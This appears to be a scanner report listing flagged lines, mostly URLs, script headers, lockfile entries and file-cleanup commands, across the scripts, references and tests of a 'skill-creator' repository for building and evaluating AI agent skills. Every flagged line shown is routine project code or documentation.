    Wait for checks and merge through GitHub Operations' [merge preflight](https://github.com/daymade/claude-code-skills/blob/main/github-ops/references/pr_operations.md#merging-prs), including its `gh pr checks --watch` exit-status check. Do n
  • Network accessline 81
    [merge preflight](https://github.com/daymade/claude-code-skills/blob/main/github-ops/references/pr_operations.md#merging-prs),

daymade-skill/skill-creator/references/sanitization_checklist.md

  • Network accessline 24
    5%, only 24% tolerate 20%, and developers actively **prefer tools that find fewer real bugs over tools that cry wolf** — false positives are the dominant barrier to static-analysis adoption ([Chou, *False Positives Over Time*](https://www.c
  • Network accessline 25
    over tools that cry wolf** — false positives are the dominant barrier to static-analysis adoption ([Chou, *False Positives Over Time*](https://www.cs.umd.edu/~pugh/BugWorkshop05/papers/34-chou.pdf); [Why do or why don't developers use stati
  • Network accessline 26
    adoption ([Chou, *False Positives Over Time*](https://www.cs.umd.edu/~pugh/BugWorkshop05/papers/34-chou.pdf);
  • Network accessline 27
    [Why do or why don't developers use static analysis tools](https://ceur-ws.org/Vol-4077/paper17.pdf)).

daymade-skill/skill-creator/references/skill-development-methodology.md

  • Network accessline 178
    - skill 里写死的**否定性断言**("X 不在 API"、"只能手动做 Y")最容易是这类错误——它是你当初没找到、就写成了"不存在"。 - 战例:一个 finance skill 铁律写"信用卡数据不在 API、需手动网页导",eval 的 baseline agent 自己摸出了一个 `/credit` endpoint;一手 curl 验证属实 → 那条铁律是错的 → 改成"信用卡在 `/credit`、脚本自动拉",让 skill 少干一半手动活。
  • Network accessline 179
    - 战例:一个 finance skill 铁律写"信用卡数据不在 API、需手动网页导",eval 的 baseline agent 自己摸出了一个 `/credit` endpoint;一手 curl 验证属实 → 那条铁律是错的 → 改成"信用卡在 `/credit`、脚本自动拉",让 skill 少干一半手动活。

daymade-skill/skill-creator/references/source-location-and-activation.md

  • Network accessline 50
    For an approved independent Fleet clone, follow the source owner's [leased-authoring procedure](https://github.com/daymade/claude-code-skills/blob/main/daymade-claude-code/claude-switch-models-setup/references/local-source-sync-architecture
  • Network accessline 51
    [leased-authoring procedure](https://github.com/daymade/claude-code-skills/blob/main/daymade-claude-code/claude-switch-models-setup/references/local-source-sync-architecture.md#leased-fleet-authoring-clones).

daymade-skill/skill-creator/references/stateful-script-verification.md

  • Network accessline 59
    This matrix follows the mixed-version rollout concern in the [Protocol Buffers best practices](https://protobuf.dev/best-practices/dos-donts/).
  • Network accessline 60
    [Protocol Buffers best practices](https://protobuf.dev/best-practices/dos-donts/).

daymade-skill/skill-creator/scripts/__init__.py

  • Executable scriptline 1
    Executable file

daymade-skill/skill-creator/scripts/aggregate_benchmark.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-skill/skill-creator/scripts/audit_skill_regression.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-skill/skill-creator/scripts/capture_command.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-skill/skill-creator/scripts/check_references.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-skill/skill-creator/scripts/creator.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-skill/skill-creator/scripts/delivery_identity.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 69
    match = re.fullmatch(r"git@github\.com:([A-Za-z0-9_.-]+/[A-Za-z0-9_.-]+?)(?:\.git)?", remote)     if match:         return "https://github.com/" + match[1]
  • Network accessline 70
    if match:         return "https://github.com/" + match[1]     parsed = urlsplit(remote)
  • Network accessline 71
    return "https://github.com/" + match[1]
  • Network accessline 77
    if not re.fullmatch(r"/[A-Za-z0-9_.-]+/[A-Za-z0-9_.-]+", path):         raise DeliveryError("Origin must identify one repository")     return "https://github.com" + path
  • Network accessline 79
    return "https://github.com" + path
  • Network accessline 141
    def render_entry(identity):     identity = validate_identity(identity)     repo = identity["source_repo"].removeprefix("https://github.com/")
  • Network accessline 142
    identity = validate_identity(identity)     repo = identity["source_repo"].removeprefix("https://github.com/")     if identity["version_kind"] == "suite":
  • Network accessline 143
    repo = identity["source_repo"].removeprefix("https://github.com/")
  • Network accessline 161
    continue         line = re.sub(r'“[^”]*”|「[^」]*」|"[^"\n]*"', "", line)         line = re.sub(r"https://[^\s)]+", "", line)
  • Network accessline 162
    line = re.sub(r'“[^”]*”|「[^」]*」|"[^"\n]*"', "", line)         line = re.sub(r"https://[^\s)]+", "", line)         lines.append(line.replace("`", "").replace("**", ""))
  • Network accessline 163
    line = re.sub(r"https://[^\s)]+", "", line)
  • Network accessline 179
    names = set()     visible = prose_view(text)     urls = re.findall(r"https://[^\s)]+", text)
  • Network accessline 180
    visible = prose_view(text)     urls = re.findall(r"https://[^\s)]+", text)     for identity in identities:
  • Network accessline 181
    urls = re.findall(r"https://[^\s)]+", text)

daymade-skill/skill-creator/scripts/generate_report.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 37
    <meta charset="utf-8"> """ + refresh_tag + """    <title>""" + title_prefix + """Skill Description Optimization</title>     <link rel="preconnect" href="https://fonts.googleapis.com">
  • Network accessline 38
    """ + refresh_tag + """    <title>""" + title_prefix + """Skill Description Optimization</title>     <link rel="preconnect" href="https://fonts.googleapis.com">     <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
  • Network accessline 39
    <link rel="preconnect" href="https://fonts.googleapis.com">
  • Network accessline 40
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
  • Network accessline 41
    <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@500;600&family=Lora:wght@400;500&display=swap" rel="stylesheet">

daymade-skill/skill-creator/scripts/generate_supersede_kit.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-skill/skill-creator/scripts/grading_validation.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-skill/skill-creator/scripts/improve_description.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 6
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]

daymade-skill/skill-creator/scripts/init_skill.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-skill/skill-creator/scripts/materialize.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 138
    [Credential-related source omitted]
  • Network accessline 172
    def lfs_pointer(content):     match = re.fullmatch(rb"version https://git-lfs.github.com/spec/v1\n"
  • Network accessline 173
    match = re.fullmatch(rb"version https://git-lfs.github.com/spec/v1\n"

daymade-skill/skill-creator/scripts/mine_conversation.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-skill/skill-creator/scripts/package_skill.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-skill/skill-creator/scripts/packaging_policy.py

  • Executable scriptline 1
    Executable file

daymade-skill/skill-creator/scripts/quick_validate.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-skill/skill-creator/scripts/reference_net.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

daymade-skill/skill-creator/scripts/release_distribution.py

  • Executable scriptline 1
    Executable file

daymade-skill/skill-creator/scripts/release_readiness.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 26
    [Credential-related source omitted]

daymade-skill/skill-creator/scripts/run_eval.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 99
    [Credential-related source omitted]

daymade-skill/skill-creator/scripts/run_loop.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-skill/skill-creator/scripts/security_scan.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 141
    print(f"{BLUE}Installation:{RESET}")     print(f"  macOS:     brew install gitleaks")     print(f"  Linux:     wget https://github.com/gitleaks/gitleaks/releases/download/v8.18.2/gitleaks_8.18.2_linux_x64.tar.gz")
  • Network accessline 142
    print(f"  macOS:     brew install gitleaks")     print(f"  Linux:     wget https://github.com/gitleaks/gitleaks/releases/download/v8.18.2/gitleaks_8.18.2_linux_x64.tar.gz")     print(f"             tar -xzf gitleaks_8.18.2_linux_x64.tar.gz 
  • Network accessline 143
    print(f"  Linux:     wget https://github.com/gitleaks/gitleaks/releases/download/v8.18.2/gitleaks_8.18.2_linux_x64.tar.gz")
  • Dangerous shell operationline 144
    print(f"             tar -xzf gitleaks_8.18.2_linux_x64.tar.gz && sudo mv gitleaks /usr/local/bin/")
  • Access to secretsline 395
    [Credential-related source omitted]

daymade-skill/skill-creator/scripts/selftest_validators.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-skill/skill-creator/scripts/setup_supersede_hook.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 112
    [ -n "$hook_backup" ] && rm -f "$hook_backup"
  • Dangerous shell operationline 121
    rm -f "$HOOK_DEST"
  • Dangerous shell operationline 183
    rm -f "$HOOK_DEST"
  • Dangerous shell operationline 191
    [ -n "$hook_backup" ] && rm -f "$hook_backup"
  • Dangerous shell operationline 263
    if ! rm -f "$HOOK_DEST"; then

daymade-skill/skill-creator/scripts/skill_read_plan.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-skill/skill-creator/scripts/source_contract.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-skill/skill-creator/scripts/supersede-routing-hook.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

daymade-skill/skill-creator/scripts/utils.py

  • Executable scriptline 1
    Executable file

daymade-skill/skill-creator/tests/fixtures/persisted-receipt/release_readiness_old.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 19
    [Credential-related source omitted]

daymade-skill/skill-creator/tests/test_aggregate_benchmark.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 480
    [Credential-related source omitted]

daymade-skill/skill-creator/tests/test_audit_skill_regression.py

  • Executable scriptline 1
    Executable file
  • Network accessline 720
    "", "#case", "?view=plain", "../missing.md", "references/missing",     "../../../references/case.md", "/references/case.md",     "https://example.test/references/case.md", "//example.test/references/case.md",
  • Network accessline 721
    "../../../references/case.md", "/references/case.md",     "https://example.test/references/case.md", "//example.test/references/case.md",     "file:references/case.md", "../../.authorization", "../../dist/case.md",
  • Network accessline 722
    "https://example.test/references/case.md", "//example.test/references/case.md",
  • Network accessline 766
    def test_runtime_markdown_labels_do_not_create_root_execution_pointers(tmp_path):     skill = _make_skill(tmp_path / "skill", "[references/case.md](https://example.test/case.md)")
  • Network accessline 767
    skill = _make_skill(tmp_path / "skill", "[references/case.md](https://example.test/case.md)")

daymade-skill/skill-creator/tests/test_capture_command.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 60
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]

daymade-skill/skill-creator/tests/test_codex_read_recipe.py

  • Executable scriptline 1
    Executable file

daymade-skill/skill-creator/tests/test_creator_entry.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 39
    [Credential-related source omitted]
  • Access to secretsline 41
    [Credential-related source omitted]
  • Access to secretsline 53
    [Credential-related source omitted]

daymade-skill/skill-creator/tests/test_grading_validation.py

  • Executable scriptline 1
    Executable file

daymade-skill/skill-creator/tests/test_materialize.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 433
    [Credential-related source omitted]
  • Network accessline 531
    body = b"local object" * 40         oid = hashlib.sha256(body).hexdigest()         pointer = f"version https://git-lfs.github.com/spec/v1\noid sha256:{oid}\nsize {len(body)}\n"
  • Network accessline 532
    oid = hashlib.sha256(body).hexdigest()         pointer = f"version https://git-lfs.github.com/spec/v1\noid sha256:{oid}\nsize {len(body)}\n"         (self.repo / "selected" / "lfs.dat").write_text(pointer)
  • Network accessline 533
    pointer = f"version https://git-lfs.github.com/spec/v1\noid sha256:{oid}\nsize {len(body)}\n"

daymade-skill/skill-creator/tests/test_materialize_capacity.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 23
    [Credential-related source omitted]

daymade-skill/skill-creator/tests/test_mine_conversation.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 450
    [Credential-related source omitted]

daymade-skill/skill-creator/tests/test_package_skill.py

  • Executable scriptline 1
    Executable file

daymade-skill/skill-creator/tests/test_persisted_receipt_roundtrip.py

  • Executable scriptline 1
    Executable file

daymade-skill/skill-creator/tests/test_quick_validate_cli.py

  • Executable scriptline 1
    Executable file

daymade-skill/skill-creator/tests/test_quick_validate_json.py

  • Executable scriptline 1
    Executable file
  • Network accessline 55
    def test_explicit_repository_link_does_not_become_bundle_path(tmp_path):     skill = make_skill(tmp_path, "[CI registry](https://example.invalid/repo/blob/main/scripts/ci/test-suites.txt)\n")
  • Network accessline 56
    skill = make_skill(tmp_path, "[CI registry](https://example.invalid/repo/blob/main/scripts/ci/test-suites.txt)\n")

daymade-skill/skill-creator/tests/test_quick_validate_reachability.py

  • Executable scriptline 1
    Executable file

daymade-skill/skill-creator/tests/test_reference_net.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 48
    [Credential-related source omitted]
  • Access to secretsline 361
    [Credential-related source omitted]
  • Access to secretsline 393
    [Credential-related source omitted]
  • Access to secretsline 462
    [Credential-related source omitted]

daymade-skill/skill-creator/tests/test_release_readiness_block.py

  • Executable scriptline 1
    Executable file

daymade-skill/skill-creator/tests/test_release_rebind.py

  • Executable scriptline 1
    Executable file
  • Network accessline 29
    ("core.hooksPath", "/dev/null"), ("commit.gpgsign", "false")):                 self.git(repo, "config", key, value)         self.git(self.repo, "remote", "add", "origin", "https://example.invalid/skills.git")
  • Network accessline 30
    self.git(repo, "config", key, value)         self.git(self.repo, "remote", "add", "origin", "https://example.invalid/skills.git")         self.paths = ["suite/a"]
  • Network accessline 31
    self.git(self.repo, "remote", "add", "origin", "https://example.invalid/skills.git")
  • Network accessline 275
    with self.assertRaisesRegex(rr.ReleaseError, "current fetched"):             rr.rebind(self.repo, candidate, self.paths, self.before, self.before)         self.git(self.repo, "remote", "set-url", "origin", "https://example.invalid/changed.g
  • Network accessline 276
    rr.rebind(self.repo, candidate, self.paths, self.before, self.before)         self.git(self.repo, "remote", "set-url", "origin", "https://example.invalid/changed.git")         with self.assertRaisesRegex(rr.ReleaseError, "source identity"):
  • Network accessline 277
    self.git(self.repo, "remote", "set-url", "origin", "https://example.invalid/changed.git")
  • Network accessline 278
    with self.assertRaisesRegex(rr.ReleaseError, "source identity"):             rr.rebind(self.repo, candidate, self.paths, self.before, base)         self.git(self.repo, "remote", "set-url", "origin", "https://example.invalid/skills.git")
  • Network accessline 279
    rr.rebind(self.repo, candidate, self.paths, self.before, base)         self.git(self.repo, "remote", "set-url", "origin", "https://example.invalid/skills.git")         (self.archive / self.review_path).write_text(self.archive_bytes.decode()
  • Network accessline 280
    self.git(self.repo, "remote", "set-url", "origin", "https://example.invalid/skills.git")

daymade-skill/skill-creator/tests/test_run_eval_isolation.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 68
    [Credential-related source omitted]

daymade-skill/skill-creator/tests/test_run_loop_degenerate_guard.py

  • Executable scriptline 1
    Executable file

daymade-skill/skill-creator/tests/test_security_scan.py

  • Executable scriptline 1
    Executable file

daymade-skill/skill-creator/tests/test_skill_read_plan.py

  • Executable scriptline 1
    Executable file

daymade-skill/skill-creator/tests/test_source_contract.py

  • Executable scriptline 1
    Executable file
  • Network accessline 274
    self.delivery = load("delivery_identity")         self.identity = {             "skill_name": "chart-judgment", "source_repo": "https://github.com/example/skills",
  • Network accessline 275
    self.identity = {             "skill_name": "chart-judgment", "source_repo": "https://github.com/example/skills",             "source_commit": "a" * 40, "source_path": "chart-judgment",
  • Network accessline 276
    "skill_name": "chart-judgment", "source_repo": "https://github.com/example/skills",
  • Network accessline 278
    "plugin_name": "chart-judgment", "plugin_version": "1.2.0",             "version_kind": "standalone",             "evidence_url": "https://github.com/example/skills/tree/" + "a" * 40 + "/chart-judgment",
  • Network accessline 279
    "version_kind": "standalone",             "evidence_url": "https://github.com/example/skills/tree/" + "a" * 40 + "/chart-judgment",         }
  • Network accessline 280
    "evidence_url": "https://github.com/example/skills/tree/" + "a" * 40 + "/chart-judgment",
  • Network accessline 393
    def test_healthy_free_text_and_reference_to_an_old_alias(self):         text = ('是正式技能 **`chart-judgment`**,属于 '                 '[example/skills](https://github.com/example/skills/tree/main/chart-judgment)。\n\n'
  • Network accessline 394
    text = ('是正式技能 **`chart-judgment`**,属于 '                 '[example/skills](https://github.com/example/skills/tree/main/chart-judgment)。\n\n'                 '“chart-lite”是此前不准确的简称。\n版本升到 **1.2.0**。')
  • Network accessline 395
    '[example/skills](https://github.com/example/skills/tree/main/chart-judgment)。\n\n'
  • Network accessline 457
    self.addCleanup(fixture.doCleanups)         fixture.write_manifest([{"name": "seed", "source": "./seed", "version": "1.0.0"}])         subprocess.run(["git", "-C", str(fixture.repo), "remote", "add", "origin", "https://github.com/example/sk
  • Network accessline 458
    fixture.write_manifest([{"name": "seed", "source": "./seed", "version": "1.0.0"}])         subprocess.run(["git", "-C", str(fixture.repo), "remote", "add", "origin", "https://github.com/example/skills.git"], check=True)         subprocess.r
  • Network accessline 459
    subprocess.run(["git", "-C", str(fixture.repo), "remote", "add", "origin", "https://github.com/example/skills.git"], check=True)

daymade-skill/skill-creator/tests/test_standalone_grade_viewer.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 143
    [Credential-related source omitted]
  • Network accessline 188
    while time.monotonic() < deadline:                 output = log_path.read_text()                 match = re.search(r"URL:\s+(http://localhost:\d+)", output)
  • Network accessline 189
    output = log_path.read_text()                 match = re.search(r"URL:\s+(http://localhost:\d+)", output)                 if match and (handoff is None or handoff.exists()):
  • Network accessline 190
    match = re.search(r"URL:\s+(http://localhost:\d+)", output)
  • Network accessline 271
    def log_message(self, *args): pass server = HTTPServer(('127.0.0.1', 0), Handler) print(f'URL: http://localhost:{server.server_address[1]}', flush=True)
  • Network accessline 272
    server = HTTPServer(('127.0.0.1', 0), Handler) print(f'URL: http://localhost:{server.server_address[1]}', flush=True) try: server.serve_forever()
  • Network accessline 273
    print(f'URL: http://localhost:{server.server_address[1]}', flush=True)

daymade-skill/skill-creator/tests/test_supersede_kit.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 74
    [Credential-related source omitted]
  • Access to secretsline 209
    [Credential-related source omitted]

daymade-skill/skill-creator/tests/test_trigger_measurement_integrity.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 86
    [Credential-related source omitted]

daymade-skill/skill-creator/uv.lock

  • Network accessline 6
    name = "certifi" version = "2026.10.19" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 7
    version = "2026.10.19" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/a6/bd/1436c50cc46699de0230fbaacc1d1de7bfec413176099949e9d5112e88f2/certifi-2026.10.19.tar.gz", hash = "sha256
  • Network accessline 8
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 9
    sdist = { url = "https://files.pythonhosted.org/packages/a6/bd/1436c50cc46699de0230fbaacc1d1de7bfec413176099949e9d5112e88f2/certifi-2026.10.19.tar.gz", hash = "sha256:035c1e85572b141bf1c3a3eff0e33a8eb74917522f2559075ff8d2fea780a1ae", size =
  • Network accessline 10
    wheels = [     { url = "https://files.pythonhosted.org/packages/c4/51/29046e48f693c54e5b7412216d447a1d8362c9653148d98c02cdf65fa733/certifi-2026.10.19-py3-none-any.whl", hash = "sha256:42d35340cc5b9ba78e818ddbff0c5b1c2b779de448a340fd1b989f5f
  • Network accessline 11
    { url = "https://files.pythonhosted.org/packages/c4/51/29046e48f693c54e5b7412216d447a1d8362c9653148d98c02cdf65fa733/certifi-2026.10.19-py3-none-any.whl", hash = "sha256:42d35340cc5b9ba78e818ddbff0c5b1c2b779de448a340fd1b989f5fa8670e1b", size
  • Network accessline 15
    name = "charset-normalizer" version = "3.5.1" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 16
    version = "3.5.1" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/e5/3f/143b048436775b0f76ac3eec145c019e8173ccc2885c8f20319b996d5e83/charset_normalizer-3.5.1.tar.gz", hash = "sha25
  • Network accessline 17
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 18
    sdist = { url = "https://files.pythonhosted.org/packages/e5/3f/143b048436775b0f76ac3eec145c019e8173ccc2885c8f20319b996d5e83/charset_normalizer-3.5.1.tar.gz", hash = "sha256:6117b84ea48435e5356dc737f5121485c30920ba43375fa7b434fd753df0eac3", 
  • Network accessline 19
    wheels = [     { url = "https://files.pythonhosted.org/packages/71/aa/554e2614f38fc34c58ff1d0911ae8535ad2516440d5482d76fe59f1088b0/charset_normalizer-3.5.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d1ee1e296209fdce05b81b663250
  • Network accessline 20
    { url = "https://files.pythonhosted.org/packages/71/aa/554e2614f38fc34c58ff1d0911ae8535ad2516440d5482d76fe59f1088b0/charset_normalizer-3.5.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d1ee1e296209fdce05b81b663250eefa02213a2da7b
  • Network accessline 21
    { url = "https://files.pythonhosted.org/packages/03/6d/439231dfc3ccfa6f8c06477b7da2219cbd41a2de3d49084df8ec7b5100f2/charset_normalizer-3.5.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha25
  • Network accessline 22
    { url = "https://files.pythonhosted.org/packages/55/53/7d819bd23a00ef45039146fa2cce1daa2f0771e758c5653ee1f6edac91ed/charset_normalizer-3.5.1-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:0
  • Network accessline 23
    { url = "https://files.pythonhosted.org/packages/b2/2c/45847198c16f4b38090cc7423b2b6a9008e438704d8ab413211832498d31/charset_normalizer-3.5.1-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha25
  • Network accessline 24
    { url = "https://files.pythonhosted.org/packages/69/2b/d8be3523ddf9f0b0f3e56d1359034aa10653a4d11564c697f802b4775766/charset_normalizer-3.5.1-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ce85
  • Network accessline 25
    { url = "https://files.pythonhosted.org/packages/32/cd/4f564b8f132de25db594efc706897069f016790cea63a5669c9df2675f64/charset_normalizer-3.5.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9
  • Network accessline 26
    { url = "https://files.pythonhosted.org/packages/f5/e3/38b975422534a608f98c360e79c2f07c763d66dd4272300d45fb1fee54b0/charset_normalizer-3.5.1-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:366ec70f5547c640d3ce
  • Network accessline 27
    { url = "https://files.pythonhosted.org/packages/87/bd/fbc24d825c66f1c74f6ccdea3742c3d8354a4888e86d1315a197fee69061/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:950f23cb393f85543777b0433f082cddd25b51ab398e
  • Network accessline 28
    { url = "https://files.pythonhosted.org/packages/b9/2d/918d0e98a0e679469ed05bb2d90c2088b4d315bb612969d8499f76fb5210/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:c1dcc36dcb96abc02236e182d17e0f71430152a6c2c74
  • Network accessline 29
    { url = "https://files.pythonhosted.org/packages/20/c8/c36f6e0b2dfec351bd38cbc05362697e58bcd073d7dbd95154290c9714ce/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:07ffd07412fc5d5e84cd8952acf9ff7e4ed7a708e69d
  • Network accessline 30
    { url = "https://files.pythonhosted.org/packages/ca/7b/311b3e02e8c4092400c449c850a760d8c45d900983c83a70cc07208c551d/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:f5542f9b941279d82d41eb0aa9f98eba36fe4df5c708
  • Network accessline 31
    { url = "https://files.pythonhosted.org/packages/b9/90/082cc45599c392f28c036a497f49e0634041a785fc3849c80ccf396d096f/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:a545775cfe815855ea32d7c27731d79da358ef2055b4a2
  • Network accessline 32
    { url = "https://files.pythonhosted.org/packages/58/ad/b9aecf38d805cbcf84fa94f14c5d972a16561e20296a11dc799a5dcf3763/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:494b70049a4d69aec6e8137c13af4cf8db8c9f9820a13
  • Network accessline 33
    { url = "https://files.pythonhosted.org/packages/b7/23/b38a20598d5a825f85d9d7636860e56ff0db1479f86497a6e485aa9326f7/charset_normalizer-3.5.1-cp310-cp310-win32.whl", hash = "sha256:94fbf1c0c6cc0d3d5e50f9a9313a8cdca90dd696d34b381cd1704f8c9e93
  • Network accessline 34
    { url = "https://files.pythonhosted.org/packages/d2/21/83fffb77864408b8bf0fe1ca603926401d6f8775a8e150b39aacc9958f8a/charset_normalizer-3.5.1-cp310-cp310-win_amd64.whl", hash = "sha256:be47f99644b208bff7766314013f9acf57b056b04191d570d68ad140
  • Network accessline 35
    { url = "https://files.pythonhosted.org/packages/86/2e/b93135b5034b1157fb29554b0d06d4844ce62282f0e0a14036f93d7ee2e7/charset_normalizer-3.5.1-cp310-cp310-win_arm64.whl", hash = "sha256:a6d095662e73e74f0a49988e0593373e243e3a52e27bfeea0a859e88
  • Network accessline 36
    { url = "https://files.pythonhosted.org/packages/6a/b6/034f6802e9c3f6418966cfabb7db8c9252cc2429c5098f41cc43af804149/charset_normalizer-3.5.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:eda059b6bc8bc0812d626fd91a7ce01bf583df0a612
  • Network accessline 37
    { url = "https://files.pythonhosted.org/packages/d5/fa/6a7e2a7c4b5451912b8c417732df79574354443592a88d616de03da66ae5/charset_normalizer-3.5.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha25
  • Network accessline 38
    { url = "https://files.pythonhosted.org/packages/a4/c8/ab42b07cfd82e919f427fcfaa7c41abae8242833ad1aad66d42bae40b669/charset_normalizer-3.5.1-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:0
  • Network accessline 39
    { url = "https://files.pythonhosted.org/packages/e7/80/b9348b5d3041209f98b4cdad7655766369233f1d533f4f4f7558e9717bec/charset_normalizer-3.5.1-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha25
  • Network accessline 40
    { url = "https://files.pythonhosted.org/packages/82/38/083a24028304bc85bb9e376fed801178423dcbb67495f73b6ea0624e1894/charset_normalizer-3.5.1-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b54e
  • Network accessline 41
    { url = "https://files.pythonhosted.org/packages/0d/35/731ac04aa0a097fc1c97f0994c375bdb230c6c96619db794208fe664e9ce/charset_normalizer-3.5.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c
  • Network accessline 42
    { url = "https://files.pythonhosted.org/packages/f5/28/c2028e7021fb89c6e56868ed0e387b8e9aa811abdd2ab3208d6578d2c930/charset_normalizer-3.5.1-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:6ba32c4d2abf1d2fe7cf
  • Network accessline 43
    { url = "https://files.pythonhosted.org/packages/28/f0/0c0ceec6d98b7daa62e361e418135d59685811d79ba11529aad5cdf15e84/charset_normalizer-3.5.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:0722590aabf9dc6a6c0343d523c05458fa2b5047dbe6
  • Network accessline 44
    { url = "https://files.pythonhosted.org/packages/f0/3e/48f4cd187b1c33189d86039e9cbe4f92c05454175504b44ff81806d4d1bf/charset_normalizer-3.5.1-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:aa1099b956fb795e686d073568f6dc002a0bb89765ea6
  • Network accessline 45
    { url = "https://files.pythonhosted.org/packages/42/85/f9e22af69af67c54cce42be9455d9c81294f918b4ccc454db01f66efcac2/charset_normalizer-3.5.1-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:bd6c173f04743d483881bffa1478d5a4624475b8cd1d
  • Network accessline 46
    { url = "https://files.pythonhosted.org/packages/fd/4c/9044135f42127630b6fa742feb51256353f6ab87a78f2fdd1de3de955a7f/charset_normalizer-3.5.1-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:f298e218441525d3794428b4c8b8fb8662c6d3ea7992
  • Network accessline 47
    { url = "https://files.pythonhosted.org/packages/ba/ed/1dd7cfebb4e75812934c49ca3b79757d11948053f7937ab7070c151f3c55/charset_normalizer-3.5.1-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:6e2912d4babbc65196ac13c2f53468dc57fb8b9c25ef91
  • Network accessline 48
    { url = "https://files.pythonhosted.org/packages/bf/eb/239c84503cc9e3ba6eb34686a24bc66e84f3924efdd7e38e751a19f6bc10/charset_normalizer-3.5.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:3d27167433c0d5f18dc850f07d0b3816221984fecdc40
  • Network accessline 49
    { url = "https://files.pythonhosted.org/packages/37/ab/4e4510e1e288478e2c8333131d1c1382382ba8cd2165053c79e39d1da961/charset_normalizer-3.5.1-cp311-cp311-win32.whl", hash = "sha256:ac00177c4831ffa650f8609e4bdddd5fe09c03b1c0c47acece7e6ea20421
  • Network accessline 50
